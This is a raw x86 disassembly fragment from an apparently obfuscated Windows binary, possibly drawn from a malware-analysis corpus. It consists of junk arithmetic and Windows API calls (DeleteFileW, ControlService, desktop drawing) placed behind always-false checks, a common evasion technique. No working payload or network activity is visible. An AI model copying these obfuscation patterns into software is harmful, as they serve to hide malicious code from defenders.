imul ecx, dword [ebp + eax*4 - 0x214], 0xfffe
mov eax, dword [ebp - 0x2c]
sub ecx, dword [ebp + eax*4 - 0x214]
mov eax, dword [ebp - 0x2c]
cmp ecx, 0x79ab6733
setl dl
xor ecx, ecx
mov eax, dword [ebp + eax*4 - 0x214]
cmp eax, edx
setle cl
mov dword [ebp - 0x30], ecx
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], 3
jle 0x1002af75
jmp 0x1002b02b
mov dword [ebp - 0x1c], 3
xor eax, eax
cmp dword [ebp - 0x1c], eax
jl 0x1002b02b
mov dword [ebp - 0x34], 0xfffffff6
mov dword [ebp - 0x34], 0xc2e3979d
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp + eax*4 - 0x214]
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp + eax*4 - 0x214]
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x214], ecx
mov dword [ebp - 0x34], ecx
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x34], eax
dec dword [ebp - 0x1c]
jns 0x1002aff1
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 0x1d
push 0
pop eax
jg 0x1002ae2f
mov esi, dword [sym.imp.GDI32.dll_GetDIBits]
mov dword [ebp - 0x1c], 0x860b4ffb
mov dword [ebp - 0x1c], 0xfffffff9
push 4
mov dword [ebp - 0x28], 0xaab39e22
pop ecx
mov dword [ebp - 0x38], ecx
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 3
jge 0x1002b07e
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x4a0], 8
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 3
jl 0x1002b065
xor eax, eax
mov dword [ebp - 0x1c], 2
cmp dword [ebp - 0x1c], eax
jl 0x1002b15a
mov dword [ebp - 0x40], 0xc9b780f8
mov dword [ebp - 0x24], 0x1d97
mov dword [ebp - 0x34], 0xfffffff7
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], ecx
jge 0x1002b0c3
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0xba4], 0x1448112d
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ecx
jl 0x1002b0ab
xor eax, eax
cmp dword [ebp - 0x4a0], eax
jne 0x1002b123
dec dword [ebp - 0x40]
mov ecx, dword [ebp - 0x40]
mov dword [ebp - 0xb9c], ecx
mov eax, dword [ebp - 0x498]
add eax, ecx
je 0x1002b0ef
xor eax, eax
cmp dword [ebp - 0xb9c], eax
je 0x1002b0f1
mov ecx, ebx
jmp 0x1002b0f3
xor eax, eax
mov ecx, eax
mov eax, dword [ebp - 0x1c]
xor edx, edx
mov eax, dword [ebp + eax*4 - 0x4a0]
cmp eax, ecx
mov eax, dword [ebp - 0x1c]
setg dl
xor ecx, ecx
cmp edx, eax
setg cl
cmp ecx, 2
jne 0x1002b11a
xor eax, eax
cmp dword [ebp - 0x38], eax
jne 0x1002b120
mov eax, dword [ebp - 0xb9c]
push 4
pop ecx
mov eax, dword [ebp - 0x1c]
push 0
mov eax, dword [ebp + eax*4 - 0x4a0]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp + eax*4 - 0x4a0]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x28]
add eax, 0x37d08bb2
mov dword [ebp - 0x34], eax
dec dword [ebp - 0x1c]
pop eax
jns 0x1002b08e
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 2
jg 0x1002b1df
xor ebx, ebx
mov dword [ebp - 0x28], 2
cmp dword [ebp - 0x28], ebx
jl 0x1002b1c1
mov dword [ebp - 0x38], ebx
jmp 0x1002b1ac
mov byte [ebp - 0xd], bl
cmp byte [ebp - 0xd], bl
je 0x1002b1a9
push ebx
push 0x16c5
push ebx
push ebx
push 0x28e
push 0x1423
push 0x33a
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_ExtTextOutA]
inc dword [ebp - 0x38]
cmp dword [ebp - 0x38], 2
jle 0x1002b176
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp + eax*4 - 0x4a0]
dec dword [ebp - 0x28]
jns 0x1002b171
mov byte [ebp - 0xd], bl
cmp byte [ebp - 0xd], bl
je 0x1002b1d1
push ebx
push ebx
call dword [sym.imp.USER32.dll_GetMonitorInfoW]
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 2
jle 0x1002b165
xor ebx, ebx
inc ebx
xor eax, eax
mov dword [ebp - 0x24], 0x2e91a049
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x1002b1f8
push eax
call dword [sym.imp.USER32.dll_ShowCursor]
xor eax, eax
mov dword [ebp - 0x24], 8
jmp 0x1002b233
mov dword [ebp - 0x34], 0xffff
mov dword [ebp - 0x14], eax
jmp 0x1002b21e
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0xe14], 2
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 3
jl 0x1002b20d
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0xe0c], eax
inc dword [ebp - 0x24]
push 0
pop eax
cmp dword [ebp - 0x24], 0x1d
jl 0x1002b201
xor eax, eax
push 4
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x14], eax
pop ecx
jmp 0x1002b257
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0xf1c], 0x876e
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ecx
jl 0x1002b246
mov dword [ebp - 0x14], 0xffffffe7
mov edx, 0xfffa
cmp dword [ebp - 0x14], 0x15
je 0x1002b29a
xor ebx, ebx
mov dword [ebp - 0x1c], 9
mov dword [ebp - 0x1c], ebx
jmp 0x1002b286
mov dword [ebp + eax*4 - 0xf1c], edx
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ecx
mov eax, dword [ebp - 0x1c]
jl 0x1002b27c
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 0x15
jne 0x1002b270
xor ebx, ebx
inc ebx
mov dword [ebp - 0x28], 0x53b26bdd
xor eax, eax
mov dword [ebp - 0x14], 0x60b0
mov dword [ebp - 0x40], 0xfffb
mov dword [ebp - 0x34], 0x686a
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 3
jge 0x1002b2da
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x3a8], 0xfffffffe
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 3
jl 0x1002b2c1
xor eax, eax
mov dword [ebp - 0x18], eax
jmp 0x1002b2ec
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0xb24], ebx
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 3
jl 0x1002b2df
dec dword [ebp - 0x40]
mov eax, dword [ebp - 0x40]
neg eax
sbb eax, eax
xor ecx, ecx
neg eax
sub eax, dword [ebp - 0xb20]
mov dword [ebp - 0xb20], eax
mov eax, dword [ebp - 0x3a8]
mov eax, dword [ebp - 0x3a0]
mov eax, dword [ebp - 0x3a0]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x3a8]
mov eax, dword [ebp - 0x3a0]
mov eax, dword [ebp - 0x3a0]
mov eax, dword [ebp - 0x3a0]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
cmp eax, ebx
setle cl
mov dword [ebp - 0x34], ecx
or ecx, 0xffffffff
mov dword [ebp - 0x34], 0xfffffff8
xor eax, eax
mov dword [ebp - 0x30], ecx
mov dword [ebp - 0x28], 0xac04ee7d
mov dword [ebp - 0x14], 0xfffffffb
mov dword [ebp - 0x34], 0x3707822e
mov dword [ebp - 0x40], 0xa9a97186
mov dword [ebp - 0x34], 0xffff
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x48], ecx
mov dword [ebp - 0x14], eax
jmp 0x1002b394
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x348], ecx
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jl 0x1002b387
mov ecx, dword [ebp - 0x40]
mov eax, dword [ebp - 0x30]
inc dword [ebp - 0x40]
cmp eax, ecx
jge 0x1002b3aa
mov edx, ebx
jmp 0x1002b3ae
xor eax, eax
mov edx, eax
mov eax, dword [ebp - 0x28]
xor ecx, ecx
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x24]
cmp eax, ebx
setl cl
xor eax, eax
cmp edx, ecx
setg al
mov dword [ebp - 0x14], eax
xor eax, eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], eax
jl 0x1002b51d
mov dword [ebp - 0x44], 0xe4d8
mov dword [ebp - 0x30], 0xfffffffc
mov dword [ebp - 0x40], ebx
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], eax
jg 0x1002b514
mov dword [ebp - 0x34], 0x7df7dc23
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x1002b41a
push eax
push 0x5a3
push 0x1e6e
call dword [sym.imp.USER32.dll_AttachThreadInput]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp + eax*4 - 0x348]
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp + eax*4 - 0x348]
mov eax, dword [ebp - 0x44]
xor eax, eax
cmp dword [ebp - 0x30], eax
je 0x1002b445
mov ecx, ebx
cmp dword [ebp - 0x44], eax
jne 0x1002b447
mov ecx, eax
mov eax, dword [ebp - 0x48]
xor edx, edx
add eax, 0x551b
add ecx, eax
mov eax, dword [ebp - 0x40]
cmp ecx, eax
setne dl
xor eax, eax
cmp edx, 0x7ea8
setne al
dec eax
je 0x1002b485
mov dword [ebp - 0x14], 7
xor edx, edx
mov dword [ebp - 0x34], ebx
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x34]
cmp eax, ecx
setl dl
mov dword [ebp - 0x34], edx
jmp 0x1002b503
xor eax, eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], eax
jl 0x1002b4aa
xor ebx, ebx
mov byte [ebp - 0xd], bl
cmp byte [ebp - 0xd], bl
je 0x1002b4a0
push ebx
call dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
dec dword [ebp - 0x14]
jns 0x1002b491
xor ebx, ebx
inc ebx
xor eax, eax
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x1002b505
push 0x8ab
push 0xc73
push 0x679
push eax
push 0x264b
push 0x341
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
push 0x1266
push 0x22e4
push 0x1123
push 0x1438
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_MaskBlt]
xor eax, eax
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], eax
push 0
pop eax
jle 0x1002b3f9
dec dword [ebp - 0x24]
jns 0x1002b3dc
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 0xa
jl 0x1002bee4
or edi, 0xffffffff
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x38], ebx
mov dword [ebp - 0x30], ebx
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 2
jge 0x1002b558
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0xa30], 0xd09ea983
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 2
jl 0x1002b53f
xor eax, eax
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], eax
je 0x1002b563
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x1c]
xor ecx, ecx
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0xa2c], ebx
mov eax, dword [ebp - 0x1c]
test eax, eax
sets cl
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 0x38], 0xffffffea
jmp 0x1002b5d1
xor eax, eax
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x980], ebx
mov dword [ebp - 0x97c], ebx
mov dword [ebp - 0x978], ebx
mov dword [ebp - 0x974], ebx
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x34]
mov edx, dword [ebp - 0x1c]
sub edx, eax
mov eax, dword [ebp - 0x30]
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
setle cl
mov dword [ebp - 0x978], ecx
inc dword [ebp - 0x38]
cmp dword [ebp - 0x38], 0x12
je 0x1002b58e
push 0xfffffffffffffffe
pop eax
mov dword [ebp - 0x1c], eax
xor eax, eax
mov dword [ebp - 0x24], edi
mov dword [ebp - 0x40], 0xbe76d238
push 4
mov dword [ebp - 0x14], eax
pop ecx
cmp dword [ebp - 0x14], ecx
jge 0x1002b60c
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x10ac], 0xfffffffb
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ecx
jl 0x1002b5f4
xor eax, eax
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x1002b61d
call dword [sym.imp.USER32.dll_GetDoubleClickTime]
xor eax, eax
cmp dword [ebp - 0x1c], eax
je 0x1002b714
mov dword [ebp - 0x18], 0xfa72c2
mov eax, 0x947f
mov dword [ebp - 0x34], ebx
mov dword [ebp - 0x9c0], eax
mov dword [ebp - 0x9bc], eax
mov dword [ebp - 0x9b8], eax
mov dword [ebp - 0x9b4], eax
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x18]
neg eax
sbb eax, eax
neg eax
cmp eax, dword [ebp - 0x18]
jle 0x1002b673
xor eax, eax
mov ecx, eax
cmp dword [ebp - 0x18], eax
je 0x1002b675
mov ecx, ebx
mov eax, dword [ebp - 0x1c]
xor edx, edx
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x40]
cmp eax, ecx
setg dl
sub edx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x1c]
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
setge cl
xor eax, eax
sub ecx, dword [ebp - 0x24]
je 0x1002b6a5
mov edx, ebx
cmp dword [ebp - 0x40], eax
jne 0x1002b6a7
mov edx, eax
mov eax, dword [ebp - 0x34]
xor ecx, ecx
cmp edx, eax
setg cl
sub ecx, 0x63a58b2c
neg ecx
sbb ecx, ecx
xor eax, eax
neg ecx
cmp ecx, 0x129ec6ea
setne al
cmp eax, dword [ebp - 0x18]
jg 0x1002b6d8
xor eax, eax
cmp dword [ebp - 0x18], eax
je 0x1002b6da
mov edx, ebx
jmp 0x1002b6dc
xor eax, eax
mov edx, eax
mov eax, dword [ebp - 0x34]
xor ecx, ecx
cmp edx, eax
setge cl
add ecx, dword [ebp - 0x18]
jne 0x1002b6f4
xor eax, eax
mov ecx, eax
cmp dword [ebp - 0x1c], eax
je 0x1002b6f6
mov ecx, ebx
mov eax, dword [ebp - 0x18]
add eax, ecx
xor ecx, ecx
cmp eax, edi
mov eax, dword [ebp - 0x24]
setne cl
sub eax, ecx
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x9c0], eax
jmp 0x1002b74f
mov dword [ebp - 0x3c], ebx
mov dword [ebp - 0x14], edi
mov dword [ebp - 0x34], 2
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x34], eax
xor eax, eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 3
jg 0x1002b751
xor ebx, ebx
mov byte [ebp - 0xd], bl
cmp byte [ebp - 0xd], bl
je 0x1002b743
push ebx
call dword [sym.imp.USER32.dll_RegisterClassW]
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 3
jle 0x1002b734
xor ebx, ebx
inc ebx
xor eax, eax
mov dword [ebp - 0x24], 7
mov dword [ebp - 0x24], 0x69fdf99f
mov dword [ebp - 0x34], 0x813f1a07
mov dword [ebp - 0x24], 0x10
cmp dword [ebp - 0x24], 2
jle 0x1002b7be
push 5
pop ecx
mov dword [ebp - 0x14], ecx
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x1002b794
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_IsIconic]
push 5
xor eax, eax
pop ecx
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0x12
je 0x1002b7b5
mov dword [ebp - 0x34], 0x7161ab6e
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x34], eax
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 0x12
jne 0x1002b79d
xor eax, eax
dec dword [ebp - 0x24]
cmp dword [ebp - 0x24], 2
jg 0x1002b776
mov dword [ebp - 0x18], 9
mov dword [ebp - 0x1c], 8
mov dword [ebp - 0x30], 0x1516
push 3
mov dword [ebp - 0x20], eax
pop ecx
cmp dword [ebp - 0x20], ecx
jge 0x1002b7f2
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0xb34], edi
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], ecx
jl 0x1002b7de
xor eax, eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 2
jge 0x1002b810
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x744], ecx
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 2
jl 0x1002b7fb
xor eax, eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], ecx
jge 0x1002b830
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0xe2c], 0x28d5feaf
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], ecx
jl 0x1002b818
xor eax, eax
mov dword [ebp - 0x18], eax
jmp 0x1002b845
mov eax, dword [ebp - 0x18]
cmp dword [ebp + eax*4 - 0xb34], 0
jne 0x1002b84b
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 2
jle 0x1002b835
mov eax, dword [ebp - 0xb34]
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
mov edx, dword [ebp - 0x1c]
sub edx, dword [ebp - 0x18]
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
add edx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
cmp eax, edx
setne cl
sub ecx, 0xe713e19f
neg ecx
sbb ecx, ecx
inc ecx
cmp ecx, ebx
sbb eax, eax
xor ecx, ecx
neg eax
test eax, eax
setg cl
sub ecx, dword [ebp - 0x744]
neg ecx
sbb ecx, ecx
inc ecx
mov dword [ebp - 0x18], ecx
jne 0x1002b89f
mov eax, dword [ebp - 0x744]
xor eax, eax
mov dword [ebp - 0xe2c], 0x8716b5b3
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], al
je 0x1002b8ba
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov dword [ebp - 0x1c], 0xffffffe4
cmp dword [ebp - 0x1c], 0xffffffed
jle 0x1002b8de
xor ebx, ebx
mov dword [ebp - 0x34], ebx
inc dword [ebp - 0x34]
mov eax, dword [ebp - 0x30]
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 0xffffffed
jg 0x1002b8c9
xor ebx, ebx
inc ebx
xor eax, eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 2
jge 0x1002b902
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0xa40], 0xfb6318d5
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 2
jl 0x1002b8e9
xor eax, eax
mov dword [ebp - 0x40], eax
mov ecx, 0xfdb6968
mov dword [ebp - 0x3c], 0x75405732
mov dword [ebp - 0x34], 0x2da8afc1
push 3
pop edx
mov dword [ebp - 0x3c], edx
mov dword [ebp - 0x9a0], ecx
mov dword [ebp - 0x99c], ecx
mov dword [ebp - 0x998], ecx
mov dword [ebp - 0x994], ecx
mov ecx, 0xf37d
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x3c], 0x2573
mov dword [ebp - 0x3c], 0x467b
mov dword [ebp - 0x960], ecx
mov dword [ebp - 0x95c], ecx
mov dword [ebp - 0x958], ecx
mov dword [ebp - 0x954], ecx
push 0xfffffffffffffffc
pop ecx
mov dword [ebp - 0x940], ecx
mov dword [ebp - 0x93c], ecx
mov dword [ebp - 0x938], ecx
mov dword [ebp - 0x934], ecx
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], edx
jge 0x1002b99f
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x900], 0x3818
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edx
jl 0x1002b987
xor eax, eax
cmp dword [ebp - 0x940], eax
je 0x1002b9ad
mov eax, dword [ebp - 0x994]
mov eax, dword [ebp - 0x40]
inc dword [ebp - 0x900]
mov eax, dword [ebp - 0x95c]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x30]
xor eax, eax
cmp dword [ebp - 0x34], eax
jle 0x1002b9d2
mov eax, dword [ebp - 0x900]
mov eax, dword [ebp - 0x30]
xor eax, eax
mov dword [ebp - 0x40], ebx
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], al
je 0x1002b9ea
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLangID]
xor eax, eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], ebx
jg 0x1002be9a
push 0xfffffffffffffff7
pop ecx
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 0x1c], 0xa772304b
mov dword [ebp - 0x14], eax
jmp 0x1002ba15
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x198], ebx
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 2
jl 0x1002ba08
mov eax, dword [ebp - 0x198]
mov dword [ebp - 0x198], eax
xor eax, eax
mov dword [ebp - 0x1c], ebx
cmp dword [ebp - 0x1c], eax
jl 0x1002babb
mov dword [ebp - 0x34], 0xfffc
mov dword [ebp - 0x14], eax
jmp 0x1002ba52
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x74c], 0x5ec62bb2
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 2
jl 0x1002ba41
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp + eax*4 - 0x198]
mov eax, dword [ebp - 0x1c]
cmp ecx, dword [ebp + eax*4 - 0x198]
jg 0x1002ba95
mov eax, dword [ebp - 0x198]
xor ecx, ecx
mov eax, dword [ebp - 0x34]
cmp eax, 0xcb81
setge cl
dec ecx
neg ecx
sbb ecx, ecx
inc ecx
mov dword [ebp - 0x74c], ecx
jne 0x1002ba95
mov eax, dword [ebp - 0x74c]
mov eax, dword [ebp - 0x1c]
push 0
mov eax, dword [ebp + eax*4 - 0x198]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp + eax*4 - 0x198]
mov dword [ebp - 0x198], ebx
dec dword [ebp - 0x1c]
pop eax
jns 0x1002ba35
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 2
jge 0x1002bb3d
mov ecx, 0x17ca0029
mov dword [ebp - 0x9e0], ecx
mov dword [ebp - 0x9dc], ecx
mov dword [ebp - 0x9d8], ecx
mov dword [ebp - 0x9d4], ecx
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 2
jge 0x1002bb03
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0xa00], 0x58e469ad
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 2
jl 0x1002baea
xor eax, eax
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x1002bb17
call dword [sym.imp.KERNEL32.dll_SwitchToThread]
mov ecx, 0x17ca0029
mov eax, dword [ebp - 0x9fc]
mov dword [ebp - 0x9d4], eax
mov eax, dword [ebp - 0x1c]
push 0
mov dword [ebp + eax*4 - 0xa40], 0xd00585b
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 2
pop eax
jl 0x1002bac9
mov dword [ebp - 0x2c], 0xd45d
mov dword [ebp - 0x34], 8
mov dword [ebp - 0x1c], 0x7276cc72
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 2
jge 0x1002bb70
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x354], edi
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 2
jl 0x1002bb5b
xor eax, eax
mov dword [ebp - 0x2c], 0xffff4f1c
cmp dword [ebp - 0x2c], eax
je 0x1002bbc1
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x34], eax
xor eax, eax
cmp dword [ebp - 0x34], eax
je 0x1002bb97
mov eax, dword [ebp - 0x2c]
cmp eax, dword [ebp - 0x2c]
jne 0x1002bb95
mov eax, ebx
jmp 0x1002bb97
xor eax, eax
mov dword [ebp - 0x350], eax
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x354]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x1c]
imul eax, dword [ebp - 0x354]
mov dword [ebp - 0x1c], eax
xor eax, eax
mov dword [ebp - 0x1c], ebx
cmp dword [ebp - 0x1c], eax
jl 0x1002bbf3
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp + eax*4 - 0x354]
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x354], ecx
dec dword [ebp - 0x1c]
jns 0x1002bbd8
xor eax, eax
mov dword [ebp - 0x2c], 0xac64a684
mov dword [ebp - 0x14], eax
jmp 0x1002bc0c
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x538], ebx
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jl 0x1002bbff
mov dword [ebp - 0x2c], 0x1b
cmp dword [ebp - 0x2c], 0x19
jge 0x1002bc50
mov dword [ebp - 0x3c], 0xea75c96
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x1002beb2
call dword [sym.imp.USER32.dll_DestroyCaret]
xor eax, eax
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x1002bec8
push eax
push 0x18dd
push eax
call dword [sym.imp.ADVAPI32.dll_ControlService]
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x34], eax
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], 0xa
push 0
pop eax
jge 0x1002b52d
mov edi, dword [sym.imp.USER32.dll_GetWindowTextW]
push 2
pop ecx
mov dword [ebp - 0x30], ecx
mov esi, 0xc58f
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x34], esi
mov dword [ebp - 0x3c], 0x8748afa2
push 4
mov dword [ebp - 0x40], 0xfffffffd
mov dword [ebp - 0x14], eax
pop edx
jmp 0x1002bf1c
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x774], 0xfffffffa
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edx
jl 0x1002bf0b
dec dword [ebp - 0x40]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x76c]
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x34], ebx
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x76c]
mov eax, dword [ebp - 0x76c]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x76c]
mov dword [ebp - 0x76c], eax
xor eax, eax
mov dword [ebp - 0x1c], 0x860b4ffb
mov dword [ebp - 0x1c], 0xfffffff9
mov dword [ebp - 0x28], 0xaab39e22
mov dword [ebp - 0x38], edx
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 3
jge 0x1002bf90
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x458], 8
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 3
jl 0x1002bf77
xor eax, eax
mov dword [ebp - 0x1c], ecx
cmp dword [ebp - 0x1c], eax
jl 0x1002c06d
push 0xfffffffffffffff7
pop ecx
mov dword [ebp - 0x40], 0xc9b780f8
mov dword [ebp - 0x24], 0x1d97
mov dword [ebp - 0x34], ecx
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], edx
jge 0x1002bfd0
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0xbb8], 0x1448112d
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edx
jl 0x1002bfb8
xor eax, eax
cmp dword [ebp - 0x458], eax
jne 0x1002c033
dec dword [ebp - 0x40]
mov ecx, dword [ebp - 0x40]
mov dword [ebp - 0xbb0], ecx
mov eax, dword [ebp - 0x450]
add eax, ecx
je 0x1002bffc
xor eax, eax
cmp dword [ebp - 0xbb0], eax
je 0x1002bffe
mov ecx, ebx
jmp 0x1002c000
xor eax, eax
mov ecx, eax
mov eax, dword [ebp - 0x1c]
xor edx, edx
